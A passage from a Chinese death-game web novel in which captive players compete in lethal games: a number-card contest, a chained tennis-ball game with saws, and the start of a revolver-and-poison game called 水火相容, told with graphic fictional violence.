那关键是——北又为什么会在这轮选择用掉【2】?出牌逻辑是什么?游戏策略是什么?是因为这轮也打算放弃,所以用掉【1】或者【2】无所谓?
触屏的倒计时发出光亮,沈墨棠脸上出现了短暂的困惑。
54……
53……
52……
51……
沈墨棠脑子一懵,现在四名被淘汰者的胜场相等,该不会最终结果是……
“平局?!”她下意识的声音在水棺内回荡。
第四轮,自己该怎么出牌?
为了避免平局,从现在开始尽力去取胜?还是说尽力去落败?
“嗒嗒嗒、嗒嗒嗒、嗒嗒嗒……”
沈墨棠手指“嗒嗒嗒”敲打石墙,身体感觉到一股由内而外的烦躁。
为什么?其他人的出牌逻辑到底是什么?有人想要促成“平局”?杀敌一千自损八百?
这口黑暗压抑的棺材,隔绝了玩家之间的交流,没有对手哪怕一点点的信息……沈墨棠仿佛在跟自己的心魔作战,而这心魔化作三个恐怖的鬼影,在棺材外虎视眈眈!
西边的,南边的,北边的,都是一团团模糊不清、无法理喻的鬼影!
37……
36……
35……
34……
接下来自己手中都是大数,更可能达成胜利。
而想要赢的话……出【7】?不,其他三家都还有【1】、【2】这样的小数,很可能会对上。
那……出【6】?不,西和北还有【7】。
要么……出【4】?不,南这轮很可能出【6】……所以自己的【5】也不能出。
到底该出哪张牌?!
沈墨棠控制手指,强迫自己冷静。
不用着急……这场游戏想要平局没那么容易。
其他三个被淘汰者,也只是普通人而已,是人就会有破绽。
不要被心魔影响,心魔来自于自己,是因为自己去幻想看不见的对手,所以才让对手在幻想中变得越发强大……不要去想对手,想想自己,想想自己……
自己?自己前三轮用掉了最小的【1】、【2】、【3】,甚至取得了1个胜场,现在占据着优势。只要接下来的四轮当中,获得更多胜场就行了。
按照一开始的想法,在这场游戏中,一共取得3-4个胜场基本就能奠定胜利。
只要赢,就不用害怕平局!
21……
19……
18……
17……
先用掉必赢的【7】,拿下第二个胜场,建立心理支点。这样第三阶段只需要考虑如何让【4】、【5】、【6】三张牌获得两个胜场。
石棺狭窄,沈墨棠觉得胸腔之间憋得难受,她微微抬头,做了一个深呼吸。
紧跟着,手指轻轻按下【7】。
很快,第四轮游戏结果公布:
东【7】,北【7】,西【2】,南【4】
“恭喜东、北两阵营的淘汰者,本轮胜场+1!”
冰冷的机械音再次出现:“第二阶段比拼结束,目前各阵营胜场为:东阵营+2;北阵营+2;西阵营+1;南阵营+1。第三阶段将在5分钟后开启。”
……
【刀枪不入】现场,金字塔装置的北边,伸出了第二扇圆锯。
郑云霞位置偏北,能隐约看到新圆锯的产生,也因此困惑极了:“为什么?为什么他到第二轮才有两个圆锯?我一开始就两个了……是装置出错了?”
她不知道的是,装置南面已经存在三扇圆锯!
“装置有问题!”郑云霞紧紧抓住自己的推测,在脑中疯狂思考这是否是什么“隐藏任务”,却被发球机的声音打断。
“嗵——”
第二轮发球开始了!
黄色的网球毫不留情,从东、南、西、北四个方向,再次朝中间的金字塔装置袭来。
“啪!”
郑云霞被北方扯动得连站都站不直,跟别说去拦住从自己头顶上方飞过去的球。
东面的第二块屏幕也被打中,灯光熄灭。
“嗵——”
又是一颗球射来,虽然高度不高,但球路朝着偏南边的方向。
因为寸头中年的关系,郑云霞此时的位置偏北,想要快速跑过去将球拦下,完全不可能。
“该死的玩意儿……吃饲料长大的么?力气这么大!”郑云霞徒劳拽着北边绷直的锁链,此时听见北边响起“咚”的一声,那寸头中年真的靠手臂打飞了一颗球!
这……
寸头中年脸色欣喜,肆无忌惮的动作这场游戏仿佛志在必得。
“嗵——”又一颗球射出。
“西边的!北边的这样明摆着不让我们活!”
郑云霞急得怒火中烧,心中那股对死亡的恐惧,令她再也难以保持冷静——这种时候只能拼尽全力去做点什么,就像是溺水窒息的遇难者,总要在濒死边缘奋力挣扎一番。
“西边的,你要是能听到,我们一起拉他!”她将盛怒和慌恐化为力量,不再管那发球机,而是全力扯拽北边的锁链,像是拔萝卜似的,一下、一下、再一下……就算没办法拽回来更多,但至少阻碍了寸头中年的动作。
不知道是不是西边的人听到了郑云霞的话,也有所动作,总之寸头中年不再像之前那样随意跑动,只能立在原地维持平衡。
“啪!”
一颗没被挡下的球命中了北边的装置斜面,听到寸头中年发出一声恼怒的咆哮,应该是一块亮着的屏幕熄灭了。
“呀啊!!呀喝!!”
郑云霞才不管他,更加变本加厉,像疯了一般,身体几乎挂在锁链上,不管不顾地一下下拽动锁链。
猝不及防的寸头中年竟在试图击球的过程中狼狈摔了一跤,锁链被郑云霞拽回了一大段……与此同时,另一侧的西阵营玩家似乎也在趁势发力,导致寸头中年一时间难以招架,只能暂时不管发球,翻身再次以那种“老牛犁地”般的伏低姿态,双手全力趴住地面维持拉力。
这样下去,谁都别想活。
只能听天由命,看谁比较倒霉,先被击熄所有屏幕。
“嗵——”、“嗵——”、“嗵——”……
第二轮发球结束,郑云霞筋疲力竭,靠求生意志硬憋出来的一口气也早就用尽。
她看向装置,这次是她运气好,七块屏幕,还剩下最上方的第一块和中间的第四块还亮着。
要是下一轮连这两块屏幕都被击中,她就彻底失败了……扣除300分钟的剩余时长……有机会像刚才的欧阳浩宇那样,完成什么“隐藏任务”获得时长奖励,从而避免爆炸吗?
隐藏任务……隐藏任务……上一回合最后,主持人明显说了“隐藏任务”这样的词……欧阳浩宇到底做了什么?
这一回合,也有“隐藏任务”吗?和场上的圆锯数量有关吗?
郑云霞全身无力,摊在地上狼狈大喘
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气,喉咙里的呼吸声尖锐得像是风箱。
他到底做了什么……欧阳浩宇他刚才到底做了什么……
“呵哈!呵哈!”
!!!
郑云霞感到一阵绝望瞬间身心——已经没有半点力气躺在地上的她,正在被北边的锁链一点点拽着。
他还有力气!?
郑云霞心中大惊,然而好消息是,只过了十秒不到,拖拽就停了下来。
她努力撑起身体向北边看去,那个寸头男人果然也已经体力不支,仰身倒地,痛苦地大口大口喘着粗气。
现在这种情况,谁都别想自由活动。
玩家彼此之间的掣肘牵制,就像北欧神话中那条锁住芬里尔的魔链,大家都无法动弹。
“咔咔咔咔咔咔……”
装置底角的万向轮轴再次启动,将锁链又绞进去了一截。
郑云霞被巨大的力气拖着,又往场地中央靠近,离金字塔装置只剩下7-8米的距离。“嗡嗡嗡”左右移动的圆锯就在身后不远。
她北边的锁链明显比南边的锁链短很多,所以整体位置依旧偏北。
如果下一轮的球往靠南的位置发来,她根本就鞭长莫及!
现在这个位置,郑云霞已经看不见南边玩家的情况……然而根据手臂缠着的锁链,以及西阵营玩家还算不差的体力判断,南边玩家说不定已经被锯成两半了?
“没办法的,小妹妹,这游戏不是你死就是我亡!”郑云霞咬牙又将南侧的锁链拽了拽,虽然对自己毫无帮助,但全当泄愤了。
弱者注定是别人的垫脚石。
“嗡嗡嗡嗡!”
什么声音?
郑云霞惊恐地抬起头,瞪大双眼——金字塔装置的第六、第七屏幕之间,又伸出了两扇新的圆锯!
……
几分钟前。
水棺里的呼吸声很大。
就算有通风口,但长时间的压抑环境还是令沈墨棠感到呼吸困难,无论是仰躺还是侧躺都十分别扭,身体像是被无形的锁链捆着,伸展不开。
最开始落入棺内的水,现在差不多都被纯棉材质的病号服吸干了,全部皱巴巴地贴在身上,沈墨棠只能不断拉扯病号服,避免同一片肌肤湿得太久难受。
触屏荧光中,显示的是【大者通吃】第五轮的游戏结果:
东【4】,北【1】,西【7】,南【6】
“恭喜西阵营淘汰者本轮胜场+1!”
沈墨棠心安地松了口气,似乎水棺的压抑感都少了许多。
倒不是因为这轮自己拿手中最小的【4】去碰掉西必赢的【7】,而是因为这一轮南用出了【6】却没获得胜场。
这也代表着,目前只有1胜场的南,剩下的【2】和【5】最多只能再得一胜;而目前有2胜场的沈墨棠,手中的【5】、【6】怎么都能再赢一轮。
这场游戏,至此已经不可能平局!
“只要不是平局就行……”沈墨棠微微放松,蜷缩在水棺内,不禁哑然失笑。
第六轮,四名淘汰者手中的【7】都用掉了,场上最大的数字变成【6】。
沈墨棠毫无负担地按下【6】。
一分钟倒计时过后,屏幕显示游戏结果:
东【6】,北【3】,西【6】,南【2】
“恭喜东、西两阵营的淘汰者,本轮胜场+1!”
又和西共赢了一次……
触屏的机械音继续:“由于淘汰者手中仅剩一个数字,将自动公布第七轮游戏结果:东【5】,北【6】,西【2】,南【5】。恭喜北阵营淘汰者本轮胜场+1!”
“第三阶段比拼结束,【大者通吃】最终结果为:东阵营获得3胜场;北阵营获得3胜场;西阵营获得3胜场;南阵营获得1胜场。”
机械音“呲呲呲”乱频了三声,又跳出红蟹跳脱的口吻:
“哈哈!可喜可贺,可喜可贺!只有一个人受伤的世界达成了!咳咳……恭喜东、北、西三位淘汰者,共同赢得本次支线任务的胜利!将获得双倍赌注时长奖励哦……南阵营,下个回合的游戏要努力咯!哈哈哈!”
沈墨棠脖子上的狗环,倒计时增加到:
07:45:52
07:45:51
07:45:50
07:45:49
“还好。”
……
“嗡嗡”、“嗡嗡”、“嗡嗡”、“嗡嗡”
总共四扇圆锯在装置离地1米高的位置,相互靠近、远离,左右切割移动,等待哪个倒霉蛋会被锁链拖拽着,拉过去锯成上下两半!
郑云霞瞳孔扩大,咬紧牙关,死死拉着北边的锁链。
“咚。”
嗯?又是什么声音?
除了圆锯,还有别的装置?
郑云霞循着声音抬头,往金字塔装置顶部看去。
36. 彩虹节拍-绿青1
“咚!”
只看见一颗黄色的球落在金字塔装置的顶部,似乎正往北边弹落。
球?
郑云霞一颗悬起的心刚要落下,就看见空中又有一颗球影落下,直接命中东边的斜面——“啪”的一声击中东面最顶上的那块屏幕,灯光熄灭!
郑云霞愣了一下。
接着又有一颗球影飞向空中。
这次看清楚了,这球是由南边抛起到装置上方。
是……南边那个小孩?她在干什么?!!
郑云霞猛地反应过来什么,低头看向地面——那些前两轮发球机打出的黄色网球,基本都掉落在装置附近,犹如一只只正在谷地里觅食的麻雀。
所以南边那个小孩将这些球捡了起来,然后往金字塔装置的顶部丢!?
郑云霞下意识重复了游戏开始时红蟹的话:“此外,无其他规则限制。”
规则没有禁止对玩家屏幕发起攻击!
虽然玩家被锁链束缚,没办法直接绕到装置的其他方向……但球可以!
郑云霞扬起头,满脸错愕和惊叹——只要将球扔向空中,就能够划过抛物线,从上方落向装置的其他斜面!
“咚”……“咚”……
嗯?怎么感觉抛向装置空中的球变多了?
不只是南阵营的小孩,西阵营的玩家也加入了这场攻击?
郑云霞脑子像是刚刚才反应过来,自己只剩下中间一块屏幕亮着了,如果连这都……
“啪。”
郑云霞回头一看,北边的寸头中年似乎也被打熄了一块屏幕——他瞬间大惊失色,但很快反应过来,连忙起身满地捡球!
游戏每轮间隔的五分钟时间,原来还可以用来相互攻击?!
郑云霞也连忙满地找球……
“啪!”
她瞳孔猛地扩大,蒙上一层厚厚的绝望!
从不知哪个方向抛出的一颗球,在装置顶部弹了一下,再次落下时正中东侧斜面——她最后亮着的那块屏幕!
它熄灭了……整个斜面的七块屏幕全都熄灭了……
“不不不不不不不不……我不想死!我儿子还等着我!我不要!我不要!不……”
“呲呲呲呲呲呲呲!”
狗环发出一阵电流,瞬间将郑云霞电得口吐白沫,晕了过去!
南北两侧的锁链拖着她的身体,向装置迅速靠近,那四扇“嗡嗡”作响的圆锯尽职工作着。
……
“恭喜哦!恭喜西阵营的【车灿灿】玩家获得本回合‘刀枪不入’的胜利!你将成功在‘彩虹节拍’新人战中存活,获得一枚雀徽奖励,并为西城夺下一个胜场!”
十分钟后,【刀枪不入】游戏结束。
东阵营的郑云霞、南阵营的娃娃脸、北阵营的寸头中年,三人都休克倒地,被锁链拉着拖到装置底部……成为三堆圆锯底下的红白血肉。
红蟹的声音继续:“可喜可贺!可喜可贺!请回到您来时的电梯中……失败玩家请在原地等待,咳咳……倒也没办法要求你们动起来……哈哈哈!”
“另外,东、北、西三个阵营都完成了隐藏任务,所以【车灿灿】、【石建华】、【郑云霞】玩家也都将增加60分钟的狗环时间……唔……”
……
东大厅内,电视屏幕底下的第三个带有“刀枪不入”的黄色人形图标,被打上了X。
“为什么……为什么……为什么我又出现在这里……为什么……?”房间中,曹彦旭独自蹲坐床边,将脸埋在手中。他不停发出低声喃喃:“为什么……我做错了什么……我又做错了什么……为什么……”
房间外,大厅中,仅剩万梦、宋白河、米米三人关注游戏进展。
“她死了?”万梦指着屏幕底部打上X的红色人形和黄色人形。而在两者之间,橙色的人形图标仍在亮着。
宋白河并不肯定万梦的说法,只是疑惑道:“欧阳浩宇还不回来吗?如果刚刚没看错的话,他还有时间。对了……你们有看到,他是怎么加到那么多时间的吗?他做了什么隐藏任务?”
万梦摇摇头,米米也沉默不语。
“曹老师呢?”米米一回头,才发现曹彦旭不在大厅中,连忙追进房间查看,“曹老师,你还好吗?”
“没事、我没事……为什么……我哪里做错了……?”曹彦旭没有抬头,他停顿了一下:“米米、你你过来,我跟你说……”
米米停在门口,神色严肃——她脖子上的狗环,开始出现红色的闪光!
此时大厅内,万梦也发出明显的吸气声。
因为电视屏幕上,第四和第五两个人形图标同时亮了起来,分别显示绿色和青色,都写着“水火相容”的字样。
广播:“请两位玩家【宋白河】、【米米】在10秒倒计时结束前,共同、进入电梯、原地、待命,倒计时10、9、8、7……”
宋白河脖子狗环也闪着红光。
他和万梦对视一眼,又回头看向门口处的米米。
“两个人?”
……
永夜城,东城区。
“都输了?”
罗冰嚼着泡泡糖,伸手拨开紧挨着的金发和光头。
青七筒跟青八筒自觉地往旁边挪开。
双马尾范诺琪的身影在吧台椅上转来转去,似乎在和吧台里的青二条讨论什么,青二条心不在焉,眼睛时不时看向桌上的通讯工具。
屏幕上,彩虹节拍第四回合“水火相容”正要开场。
“这次不论是哪边坐庄,老子都要申请进四方战。”青八筒摆弄着手中的一根飞镖,似乎是在喃喃自语。
“不好说,”青七筒面色凝重,“别着急啊,七个回合里北城只赢两场,说不准接下来三场东城这批新人全赢下了呢?到时候你就是想进老大也不同意哦。”
“不太可能。”青八筒抬了下脑袋,瞥一眼吧台处,又低声说道:“你看嘛,新人里那个被淘汰者好像还蛮厉害哦,我看最多是这幺妹赢一场。接下来全赢,那这幺妹不就得死里头咯?那只赢一把哪够噻?”
他无奈笑道:“东城就剩最后一张风牌咯,要是这届四方战还输,我们都得搭伙将西北风喝起!”
“喝的怕是南风吧,”青七筒意有所指,“唉,咱们城有人能做法‘借东风’就好咯……到你了。”他站起来活动了一下,投出手中最后一把镖,让开来。
青八筒和青七筒换了位置,认认真真
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骂道:“这次按起头皮都得赢咯!要是还么法子抢到风牌,老子想回休眠舱躺起!懒得看到南城的鬼样子!垃圾游戏!”
——当。
他一飞镖扎在靶盘边缘。
……
电梯门打开,展现在宋白河和米米眼前的,是空旷的游戏场地。
“请玩家进入场地,前往红线处等待主持人宣读游戏规则。注意:不得越过红线。”
“请玩家进入场地,前往红线处等待主持人宣读游戏规则。注意:不得越过红线。”
“请玩家进入场地,前往红线处等待主持人宣读游戏规则。注意:不得越过红线。”
两人脖子上的狗环闪烁着红光,广播中重复着相同的指示。
难怪之前的玩家都乖乖走到红线处……宋白河和米米对视一眼,两人跟随语音提示,走出电梯,到红线处停下。
狗环的红光也随之消失。
放眼望去,左、右两侧的场地,也同样都有两个人进入游戏场地。场地中央有金字塔装置遮挡,看不见对面,但估计也有两名玩家出现。
米米边走边轻声道:“八人游戏?”
宋白河“嗯”了一声:“估计是。”
他略微领先米米半个身位,观察着四周:游戏场地正如在监控里看到的那样,被四面高耸入云的石墙围住,大约为“90×90㎡”的方形区域。
差不多一个标准足球场大小。
而场地中央,金字塔装置占地约“20×20㎡”,比一间中学教室稍大些。
空气中弥漫着难闻的血腥味,场地一些地方存在明显的拖行血迹,那是之前狗环爆炸的玩家留下的,仿佛在昭示失败者的命运。
此时,南边突然有人呼喊:“朋友们!”
宋白河循着声音望过去,只见那是一名吨位很重的男性,正抬起双手,高声大喊:“都听我说,我们都是受害者,不要互相攻击啊!不要上了这主办方的当!”
他嗓音洪亮,身材发福,头发稀疏。宽大的病号服被撑得紧绷,看起来就像是某个生病住院又不甘寂寞的胖大叔。
“得!您就甭瞎咧咧了……”胖大叔旁边,显眼的粉头发年轻人表情尴尬、防备又惶恐。他一边偷瞄两侧的玩家,一边拍了下胖大叔的胳膊。
胖大叔没管粉头男,而是继续大喊:“他娘的!这主办方就是看准我们不敢反抗,要是我们都不玩他这破游戏!他们也奈何我们不得!我们不要屈服!不要屈服!不要玩游戏!”
宋白河挠挠脖子,撇着嘴看了一眼米米:“我倒也不想玩啊。”
身旁的米米并没有回应他,她正打量北边的两名玩家:
那是两个女人——年纪大一点的,脸上法令纹明显,头发向后梳起贴在头皮上,面露凶相;年纪小一点的,一张长脸,个头偏矮站得笔挺,显得精神而刻薄。
两人站在一起,总给人一种传销企业总监和执行干员的既视感。
这时场地广播响起主持人的声音:“喂喂?喂喂?咳咳……啊哈!欢迎倒霉的八位玩家来到第四回合【水火相容】游戏现场!这也是整个【彩虹节拍】中人数最多的游戏!哈哈哈!”
是红蟹,听着就让人觉得不详的倒霉声音!
37. 彩虹节拍-绿青2
宋白河叹了口气,目光对上米米,米米的眼神中同样流露出对红蟹的厌恶。
他再看向南边,刚刚吵吵嚷嚷的胖大叔在红蟹的声音出现后就闭上了嘴,此时正竖起耳朵,比任何人都专心在听红蟹接下来的话。
“还以为他真打算‘自爆’呢。”宋白河伸手碰了碰鼻尖。
红蟹并不在乎在场的人各自有什么反应,他继续:“咳……那好,八位玩家请注意了!接下来各位将跟随游戏指示,一步步走向可怕的深渊……”
“传说海神波塞冬创建了亚特兰蒂斯,在这里居住的人以水晶为能源,发展出发达的文明……最后也因为滥用水晶,而永久地沉入海底……”
“咳咳,我们快点进入主题吧……好了!现在请每个阵营商量选出一人,独自跨过红线,前往场地中央的金字塔装置内……呃,我想10秒钟应该够了,各位抓紧时间哈!”
红蟹说话的同时,金字塔装置的四面开了门。
里面没有走出工作人员、也没有推出球或者什么东西。只有建筑中扩散不出的黑暗,像一张等待吞噬一切的大嘴,等待玩家自己送上门。
“10、9、8……”红蟹开始倒数。
选出一人进去?里面该不会真的通往什么“亚特兰蒂斯”吧?
宋白河一回头,看到米米眼中的迟疑。他没有犹豫太久:“我来吧。”
米米“嗯”地点了头,报以一个感激的目光。
面对未知的空间,任何人都会感到恐惧!
“3、2、1……好,相信四个阵营都商量好了,请要进入金字塔装置的玩家举起手来,让系统解除你的场地限制,以跨过红线。”
但直面恐惧也正是人类勇敢的证明。
宋白河举了手。
南边举手的是那个粉头发年轻人。
至于北边则迟迟没有结果——北边的两个玩家正争执得愈演愈烈:“凭什么是我?”、“反正我不……呃啊!”、“额!”
“呲呲呲!!”
两人的狗环猛地放出一阵电击,令她们瞬间噤声倒地,身体僵直。
“咳咳……别浪费大家的时间哦,这次是警告……”
红蟹的声音低沉下来,自言自语般:“提醒各位,珍惜身旁的伙伴……毕竟ta很可能在这场游戏中离你而去……哎哟!哈哈!那可太好了,不是吗!”
说着说着,红蟹声音再次跳脱起来:“最后五秒倒计时,请北阵营选出一人举手,否则就对二位的狗环进行断线处理,哈哈哈!提前宣告一组玩家失败也不是不行!”
宋白河无奈地抬手摸了下自己的狗环:“人为刀俎,我为鱼肉。”
还是少受点罪好。
红蟹刚要倒数“5”,北边那年纪较小的长脸女人就举起了手,同时恶狠狠瞪了旁边的大妈一眼——后者满不在乎地瞪了回去。
在生死面前,若非是受到胁迫,否则呆子才会逞英雄!
“很好……”
红蟹停顿片刻,广播发出“嘀”的一声。
宋白河深吸一口气,发现自己的狗环再次闪烁红光。
广播指示:“已解除四位玩家的场地限制,请狗环闪烁的玩家通过各自面前的门,进入金字塔内部。倒计时30、29、28、27……”
“小心点。”
宋白河伸手示意米米离远点,毕竟谁也不知道游戏将会有什么意想不到的情况发生。
根据语音提示,他小心翼翼抬腿踏过红线,确认狗环不会爆炸后,才冲米米点点头,随后大步走向朝场地中央。
倒计时只有半分钟,也没多余时间去其他方向闲逛了。
宋白河怀着惴惴不安的心情,和南边的粉头男、北边的长脸女,以及西边没见过面的玩家,分别从四个方向进入金字塔。
随着“咔”的一声,金字塔装置的门重重合上!
四名玩家消失在未知的黑暗中。
此时,场地广播再次发出“嘀”的提示音,这次轮到仍站在红线处的米米狗环开始闪烁。
我也要进去吗?
米米刚抬起腿,就听到广播里红蟹笑道:“请其余四位玩家坐上‘气球椅子’!哈哈!还是10秒够了吧?”
气球椅子?
米米还没反应过来,瞬间感觉脚下不稳——嗡嗡作响的地面竟缓缓打开,升起一台像是牙科手术椅般的装置,就位于她身旁。
等等……要干嘛?坐上去?
米米脸色一变,该不会要像【耳聪目明】的欧阳浩宇那样,被锁住抽血吧!?
虽然心里害怕,但她听着广播中红蟹“10、9、8、7”开始倒计时,考虑到抗拒只会无端遭受电击活受罪,还是硬着头皮坐到装置上。
“咔——嗒!”
果不其然,屁股刚挨上,装置便弹出冰冷的机械臂,粗暴地将她的身体牢牢固定!
让人不由得想起【四人轮盘】时候的椅子。
不知道是不是因为太过恐惧,米米浑身开始控制不住地发抖!她只能咬牙让自己镇定下来,劝慰自己这里的场地空旷,不至于会再面对那种被枪管指着脑袋的恐怖。
她视线往远处看去,南边的胖大叔、北边的大妈也都和被禁锢在名为“气球椅子”的装置上。
红蟹轻咳两声:“咳咳……哈哈!接下来,首先隆重为各位介绍,【水火相容】游戏的主要场所——水晶屋!”
水晶屋?这听起来像是很多年前某个潮流单品……
话音落地,场地中央的金字塔装置开始“轰隆隆”巨响!四个斜面竟如四片花瓣般缓缓展开,惹得大地剧烈震颤!
“嗡嗡嗡嗡嗡嗡嗡!!!”
宋白河他们不是才刚进去吗?
米米张嘴呼吸,盯着金字塔装置的变化:
只见那三角形斜面展开至与地面呈90°垂直的状态,随后便开始下沉,像是一面金属墙壁插入地底……等到其全部沉入地底消失后,地面的缝隙合上,恐怖的震感和轰隆的机械声也随之消失。
场地中央的区域,也就是金字塔装置四个斜面原本罩着的地方,出现一个巨大的透明玻璃建筑。
建筑里有人。
宋白河就在里面。
还有南阵营的分头男、北阵营的长脸女人,以及西阵营的一个戴眼镜的瘦小男人。
还以为他们会被沉入什么“亚特兰蒂斯”……
“这是要做什么?”宋白河正趴在透明的玻璃墙上。
金字塔的金属墙壁一撤,“水晶屋”里的一切就都清清楚楚。
……
两分钟前,当宋白河忐忑不安步入金字塔,身后的门关上时,他便置身纯粹的漆黑之中!
接着周围是可怕的机械运转声与剧烈的震颤,直到有光从头顶透进,越来越多,像是打开了一个巨大的天窗,随后墙壁往下沉降,插入地底,足以看清楚自己身处的地方:
眼前左右是两面斜边玻璃墙,延伸到金字塔的中心位置,加上身后的横玻璃墙,整体而言是一个三角形的透明房间。
透过玻璃墙,宋白河能看到北边的长脸女、南边的粉头男、以及对面西边的眼镜男——他们也处在各自朝向的“三角形透明房间”中。
“水晶屋?就这?亚特兰
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蒂斯?”
宋白河默默吐槽了一句,转着脖子打量所处的环境,直到转身看到近来时的入口。
那是一扇厚重的金属门。
门右手边一米左右的玻璃墙面处,开着一个一平方米的方形窗口,焊上了间隔15厘米的铁栅栏,人无法翻出去。
门左手边则有一条金属传送带,一端藏进地面的开合盖子里,另一端连接墙面处的卡槽。由于玻璃墙体是透明的,能看到传送带从卡槽另一端延申到墙体里,一直通往北边、西边、南边,绕着被称为“水晶屋”的建筑外墙一圈。
北、西、南三个房间的结构也是如此。
“好怪……”宋白河不由得感慨。
透明墙壁相互堆叠,致使整个建筑看起来有些失真而诡异,但还是能轻易看出“水晶屋”的整体样貌——是由东、南、西、北四个三角形房间组成的正方形透明建筑。
至于建筑中心,也就是每个三角形房间走到最深处,或者说是整个“水晶屋”对角线的交叉处。
那里存在一个方形置物台,像是博物馆里的展览柜,上面空无一物。
宋白河晃了晃看晕的脑袋,前后左右观察一圈后,便趴在朝东的玻璃墙上,将视线投向建筑外远处的米米。
目测两个人之间隔了差不多……30米远。
这是要做什么?
“哈哈哈!如各位所见,这个由防弹玻璃墙体构成的四方形建筑,叫做‘水晶屋’!”红蟹的声音在广播里大笑着:“共有东、西、南、北四个房间,可供四个阵营的玩家使用!”
“水晶屋内的玩家,将轮流获取手枪……”说到这里,红蟹停顿了一下。
宋白河只听见微弱的“嗡嗡嗡”响动,回头望去,位于整个“水晶屋”中央的方形置物台开了个口,从中升起一把造型独特的小手枪。
置物台四面的玻璃墙分别对着东、南、西、北。四面墙上都出现了能打开的小窗口,大小足够人伸手进去拿出手枪,只不过此时四面窗口都是关闭状态。
手枪?
游戏是要让玩家争抢这把手枪吗?
如果是这种需要“拼抢”的游戏,还好是自己进这里……宋白河暗自活动双手,在这种体力类游戏里,他总归是比米米更有优势。
红蟹的声音继续:“……接下来,就是通过窗户朝队友开枪,目标是打爆气球!”
!!??
朝队友开枪?打爆气球?
宋白河又回头看向米米,只见禁锢着她的“气球椅子”靠背上,颤颤巍巍地升起了一颗绿色的气球。
气球由大概30cm长的细绳连着,飘在她的脑袋上方,和她脑袋一样大小,看着就是普普通通的塑料气球,游乐园、婚庆、生日派对随处可见的那种。
打爆气球?
宋白河隔着防弹玻璃墙和30米远的空地,对上了米米略微惊慌的目光。
这气球离脑袋那么近,手要是抖一下,打爆的恐怕就不是气球了吧?
广播中,红蟹兀自大笑:“玩家们注意啦!具体游戏规则已通过文字的方式放出,请尽快仔细阅读,我们将在10分钟后正式开始游戏!”
“嘀——”
没等人反应过来,广播便“嘀”一声戛然而止。
宋白河注意到房间内的传送带“嗡嗡嗡”运转,地面的接口打开,从中送出一张哑光的卡纸,上面密密麻麻全都是字,标题写着【水火相容游戏规则】。
与此同时米米坐着的“气球椅子”扶手处,也出现了相同的卡纸。
场上八名玩家都开始阅读这张【水火相容游戏规则】。
38. 彩虹节拍-绿青3
【水火相容游戏规则】
【规则1:游戏按照逆时针顺序,以回合方式进行。当轮到你的回合时,你将有3分钟的时间,用于取出手枪、击发、放回置物台。不论结果如何或者发生了什么事,你的回合结束时,手枪都必须放回置物台上。】
【规则2:回合开始时,你的房间传送带将会送出一瓶[水]。任意情况下,禁止玩家破坏[水],包括但不限于倾倒、抛掷、滴漏、吐出、击碎、带离房间等。[水]只允许被饮用。】
“水?”
米米注意到,这里的“水”被打上了括号,估计不会是简单的“水”而已。
她继续往下阅读。
【规则3:游戏特制的手枪已被设了扳机智能锁,每回合只能被击发一次。若你在自己的回合内没能打爆气球,除非你击发出的是空弹,否则需要在10秒内喝掉房间内的一瓶[水]。】
【规则4:允许你在自己的回合中喊出“跳过”来跳过回合。执行“跳过”后,该回合照常生成[水],但你无需进行手枪击发,也无需饮用[水]。请注意:同一阵营不可连续执行“跳过”。】
【规则5:游戏存在[轮换]环节,届时请玩家按照语音提示进行操作。】
【注意:玩家违反上述任意规则,都视为淘汰,狗环断线。】
看来这就是【水火相容】游戏的主要规则,一共5条,必须严格遵守才不会淘汰。
但为什么要给坐在“气球椅子”上的玩家也提供一份?毕竟这场游戏似乎只需要“水晶屋”内的玩家行动就足够了……
米米怀着疑惑,看到卡纸底下还有三条信息:
【信息1:游戏特制的左轮手.枪弹巢共有六个弹仓,其中随机填入了四发实弹。游戏每进行6个回合,手枪将会更换一次弹巢。】
【信息2:每回合生成的[水],有40%的概率是立即致死的毒药。】
【信息3:请小心水鬼。】
毒药!?水鬼!?
米米眉头轻蹙,倒吸一口凉气:根据【规则3】,玩家若是没能打中气球,除非是空枪,否则就要喝[水]——[水]可能是毒药!
为什么是“40%”的概率?如果主办方是想惩罚打不中气球的人,那直接给一杯百分百的毒药就好,何必还设置“40%”这么一个概率呢?
还有……“水鬼”又是什么东西?
米米再次仔细读了一遍卡纸上的内容,依旧没发现除【信息3】之外,存在任何与“水鬼”有关的描述。
想起先前欧阳浩宇和郑云霞最后都完成了什么“支线任务”,难道游戏真的存在某种隐藏规则?
……
“咳咳……还是我!我回来啦!”
十分钟后,红蟹的聒噪再次响起。
“哈哈!相信大家都读完游戏规则了……这里补充说明游戏的胜利条件!”
“【水火相容】游戏最多将进行到24回合结束;若过程中,场上仅剩一个阵营玩家存活,游戏也将立即结束。”
“游戏结束时,房间中[水]的数量更少,且仍有玩家存活的阵营,获得最终胜利!”
“胜利玩家获得总共2枚‘雀徽’奖励,并为所在阵营赢得1个胜场;失败玩家将扣除300分钟的狗环剩余时长作为惩罚。”
“好的!游戏将从目前胜场最多的北阵营开始!请玩家们做好准备……倒数10秒后,游戏正式开始!”
“10……”
“9……”
“8……”
场地广播变成冰冷的机械音,进行游戏开始倒计时。
……
从北边开始?
宋白河看向北边的玻璃房。
“我……我吗?从我开始?”北玻璃房的长脸女明显没料到自己会是首发玩家,她回头环顾了其他三名玩家,弯月一般的脸上尽是疑虑。
“3……”
“2……”
“1……游戏开始!”
还没给长脸女过多的思考时间,广播中就“嘀——”的一声长音,北玻璃房内红光微微闪烁,仿佛是由透明的防弹玻璃墙内直接凭空发出的灯光,组成巨大的数字倒计时:180、179、178、177……
每回合三分钟。
与此同时,“水晶屋”中央的金属置物台上,活动的小窗口“啪嗒”开启。
开启的是北玻璃房的窗口,只有长脸女能伸手进去拿枪;另外,她房间中的金属传送带“嗡嗡嗡”运转,地面的盖子被打开,从中运出一瓶透明液体,最终落在靠墙的卡槽里。
这就是【规则2】里说的“回合开始时”传送带送出的“水”吗?
宋白河贴在玻璃墙上,尽力去看清那传送带生成的[水]——它装在类似矿泉水瓶的透明塑料瓶中,清澈无色,大约只有180毫升。
根据【信息2】,每回合生成的[水]有40%概率是毒药!
宋白河稍微侧头,与南边的粉头男和西边的眼镜男都对上目光,另外两人都跟他一样,非常珍惜北边玩家的第一回合示范。
在这种“一旦做错便要淘汰”的生死游戏中,能够先由他人来“第一个吃螃蟹”再好不过了。
“啊!我……我得做……对吧……”长脸女似乎是被房间内的倒计时吓了一跳,双手握住自己的狗环,站在原地一动不动。
根据【规则1】:玩家要在自己回合的3分钟时间内,取出手枪、击发、并放回置物台。
或者根据【规则4】:允许玩家在自己的回合中喊出“跳过”来跳过回合。
